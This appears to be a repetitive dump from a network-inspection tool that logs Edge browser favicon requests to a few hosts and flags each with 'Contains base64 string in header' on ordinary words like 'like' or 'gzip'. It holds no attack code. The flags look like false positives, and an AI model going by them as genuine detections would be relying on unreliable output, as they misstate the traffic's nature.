image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "services" in header "GET /favicon?url=feedzop.com?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: services.bingapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "bingapis" in header "GET /favicon?url=feedzop.com?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: services.bingapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "like" in header "GET /favicon?url=feedzop.com?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: services.bingapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "0Sec" in header "GET /favicon?url=feedzop.com?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: services.bingapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Mode" in header "GET /favicon?url=feedzop.com?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: services.bingapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Site" in header "GET /favicon?url=feedzop.com?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: services.bingapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Language" in header "GET /favicon?url=feedzop.com?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: services.bingapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "8Sec" in header "GET /favicon?url=feedzop.com?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: services.bingapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Edge" in header "GET /favicon?url=feedzop.com?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: services.bingapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Chromium" in header "GET /favicon?url=feedzop.com?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: services.bingapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Platform" in header "GET /favicon?url=feedzop.com?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: services.bingapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Encoding" in header "GET /favicon?url=feedzop.com?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: services.bingapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "gzip" in header "GET /favicon?url=feedzop.com?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: services.bingapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Dest" in header "GET /favicon?url=feedzop.com?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: services.bingapis.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "/favicon" in header "GET /favicon.ico?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: www.licenseorg.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "webp" in header "GET /favicon.ico?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: www.licenseorg.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "like" in header "GET /favicon.ico?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: www.licenseorg.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "0Sec" in header "GET /favicon.ico?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: www.licenseorg.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Mode" in header "GET /favicon.ico?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: www.licenseorg.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Site" in header "GET /favicon.ico?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: www.licenseorg.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Language" in header "GET /favicon.ico?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: www.licenseorg.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "8Sec" in header "GET /favicon.ico?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: www.licenseorg.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Edge" in header "GET /favicon.ico?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: www.licenseorg.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Chromium" in header "GET /favicon.ico?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: www.licenseorg.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Platform" in header "GET /favicon.ico?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: www.licenseorg.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Encoding" in header "GET /favicon.ico?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: www.licenseorg.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "gzip" in header "GET /favicon.ico?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: www.licenseorg.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Dest" in header "GET /favicon.ico?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: www.licenseorg.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "/favicon" in header "GET /favicon.ico?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: lumte.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "webp" in header "GET /favicon.ico?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: lumte.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "like" in header "GET /favicon.ico?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: lumte.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "0Sec" in header "GET /favicon.ico?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: lumte.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Mode" in header "GET /favicon.ico?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: lumte.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Site" in header "GET /favicon.ico?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: lumte.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "Language" in header "GET /favicon.ico?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: lumte.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: en-US,en;q=0.9Priority: iAccept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Ch-Ua: "Not:A-Brand";v="99", "Microsoft Edge";v="145", "Chromium";v="145"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdSec-Fetch-Dest: image" Contains base64 string in header "8Sec" in header "GET /favicon.ico?w=32&h=32&q=100&m=6&f=webp&u=t HTTP/2Host: lumte.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0Sec-Fetch-Mode: no-corsSec-Fetch-Storage-Access: activeReferer: https://ntp.msn.com/Sec-Fetch-Site: cross-siteAccept-Language: 